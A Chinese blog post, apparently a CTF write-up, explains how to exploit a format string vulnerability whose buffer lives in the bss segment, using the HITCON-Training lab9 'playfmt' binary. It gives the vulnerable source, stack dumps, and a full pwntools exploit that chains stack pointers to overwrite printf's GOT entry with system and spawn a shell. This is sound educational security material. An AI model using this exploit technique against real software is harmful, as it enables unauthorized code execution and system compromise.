格式化字符串在bss段的利用

相比格式化字符串在栈上,这种情况的利用要复杂很多,更多的是要分步去改写对应的值

这里以HITCON—Training lab9为例,这是一道很经典的题目

参考星盟v1ctor师傅讲解

v1ctor师傅在视频里的exp,在我这打不通,我试了下,应该是字节写入的问题,有地方可能没改完全。

23R3F师傅

源码

#include <stdio.h>
#include <unistd.h>
#include <string.h>

char buf[200] ;

void do_fmt(){
while(1){
read(0,buf,200);
if(!strncmp(buf,"quit",4))
break;
printf(buf);
}
return ;
}

void play(){
puts("=====================");
puts(" Magic echo Server");
puts("=====================");
do_fmt();
return;
}

int main(){
setvbuf(stdout,0,2,0);
play();
return;
}

printf(buf)有明显的格式化字符串漏洞,并且,从源码里就可以看到buf是存在bss段而不是栈上

gdb调试,断点下在printf上

根据上面两位师傅的讲解我们知道能够利用把漏洞利用串起来,从bss段改到栈上的跳板,就下面四条,偏移为6,7,10,11.

06:0018│ ebp 0xffffd458 —▸ 0xffffd468 —▸ 0xffffd478 ◂— 0x0 //这个
07:001c│ 0xffffd45c —▸ 0x8048584 (play+59) ◂— nop //这个
08:00200xffffd460 —▸ 0xf7fbdd80 (_IO_2_1_stdout_) ◂— 0xfbad2887
09:00240xffffd464 ◂— 0x0
0a:00280xffffd468 —▸ 0xffffd478 ◂— 0x0//这个
0b:002c│ 0xffffd46c —▸ 0x80485b1 (main+42) ◂— nop //这个

Step 1

首先先利用漏洞泄漏地址,把上面四条要用的都找出来

payload

paylaod = 'aaaa%6$p'
sl(paylaod)
ru("aaaa")
ebp_content = int(rv(10), 16)
ebp_base = ebp_content - 0x10
step1 = ebp_content - 0xc
step2 = ebp_content + 0x4
ms("ebp_content", ebp_content)
ms("ebp_base", ebp_base)
ms("ebp_content-0xc", step1)
ms("main_offset", step2)

Step 2

接下来先把偏移6,7串起来,变成下面这样

接着就可以将play的低两位改成print_got

payload

payload1 = "%" + str(step1 & 0xffff) + "c%6$hn"
sl(payload1)
#raw_input('>')
rc()

payload2 = "%" + str(printf_got & 0xffff) + "c%10$hn"
sl(payload2)
rc()

while 1:
sd("lnk")
sleep(0.1)
data = rc()
if data.find("lnk") != -1:
break

#raw_input('>')

Step 3

我们的目的是

计算出system函数的地址 ,将system函数地址写入printf在got表的地址

所以我们先要泄漏出system的地址,无法直接泄漏,但是我们可以先利用格式化字符串漏洞泄漏printf的地址,然后通过偏移计算system

payload

leak_printf = 'aaaa%7$s'
sl(leak_printf)
ru("aaaa")
printf_addr = u32(rv(4))
ms("printf_addr", printf_addr)

system_addr = printf_addr - printf_off + system_libc
ms("system", system_addr)

Step 4

将system地址写入printf所在got表的位置的具体做法就是,在偏移为7的位置改低位,在偏移为11的位置改高位

因为无法直接改,所以我们又要通过跳板,就是最开始main那个跳板

改为这样

#raw_input('>')
payload3 = "%" + str(step2 & 0xffff) + "c%6$hn"
sl(payload3)
rc()

payload4 = "%" + str((printf_got+2) & 0xffff) + "c%10$hn"
sl(payload4)
rc()

while 1:
sd("lnk")
sleep(0.1)
data = rc()
if data.find("lnk") != -1:
break

Step 5

最后就是改printf地址为system,当再次调用printf函数的时候,就会通过got表找到system的地址,然后执行

payload

payload5 = "%" + str(system_addr & 0xffff) + "c%7$hn"
payload5 += "%" + str((system_addr >> 16) - (system_addr & 0xffff)) + "c%11$hn"
sl(payload5)
rc()
while 1:
sd("lnk")
sleep(0.1)
data = rc()
if data.find("lnk") != -1:
break
#raw_input('>')
sl("/bin/sh")

exp

有个很奇怪的点,我必须要加上context.log_level = 'debug'才能够打通,不然最后那个while会报错….

很难绷得住💦

from pwn import *

context.log_level = 'debug'
elf = ELF('./playfmt')
libc = ELF('/lib/i386-linux-gnu/libc.so.6')
io = process('./playfmt')

sl = lambda s : io.sendline(s)
sd = lambda s : io.send(s)
rv = lambda n : io.recv(n)
rc = lambda : io.recv()
ru = lambda s : io.recvuntil(s)

def ms(name,addr):
print(name + "---->" + hex(addr))

def debug(mallocr,PIE=True):
if PIE:
text_base = int(os.popen("pmap {}| awk '{{print }}'".format(p.pid)).readlines()[1], 16)
gdb.attach(io,'b *{}'.format(hex(text_base+mallocr)))
else:
gdb.attach(io,"b *{}".format(hex(mallocr)))

printf_got = elf.got['printf']
printf_off = libc.symbols['printf']
system_libc = libc.symbols['system']
paylaod = 'aaaa%6$p'
sl(paylaod)
ru("aaaa")
ebp_content = int(rv(10), 16)
ebp_base = ebp_content - 0x10
step1 = ebp_content - 0xc
step2 = ebp_content + 0x4
ms("ebp_content", ebp_content)
ms("ebp_base", ebp_base)
ms("ebp_content-0xc", step1)
ms("main_offset", step2)

payload1 = "%" + str(step1 & 0xffff) + "c%6$hn"
sl(payload1)
#raw_input('>')
rc()

payload2 = "%" + str(printf_got & 0xffff) + "c%10$hn"
sl(payload2)
rc()

while 1:
sd("lnk")
sleep(0.1)
data = rc()
if data.find("lnk") != -1:
break

#raw_input('>')
payload3 = "%" + str(step2 & 0xffff) + "c%6$hn"
sl(payload3)
rc()

payload4 = "%" + str((printf_got+2) & 0xffff) + "c%10$hn"
sl(payload4)
rc()

while 1:
sd("lnk")
sleep(0.1)
data = rc()
if data.find("lnk") != -1:
break

leak_printf = 'aaaa%7$s'
sl(leak_printf)
ru("aaaa")
printf_addr = u32(rv(4))
ms("printf_addr", printf_addr)

system_addr = printf_addr - printf_off + system_libc
ms("system", system_addr)
payload5 = "%" + str(system_addr & 0xffff) + "c%7$hn"
payload5 += "%" + str((system_addr >> 16) - (system_addr & 0xffff)) + "c%11$hn"
sl(payload5)
rc()

while 1:
sd("lnk")
sleep(0.1)
data = rc()
if data.find("lnk") != -1:
break
raw_input('>')
sl("/bin/sh")
io.interactive()

格式化字符串在bss段的利用

https://lhxhl.github.io/2022/02/12/fmt_bss/

作者

秋秋晚

发布于

2022-02-12

更新于

2023-01-10

许可协议

# 相关文章
  1.Format String
  2.ROP Study
评论

:D 一言句子获取中...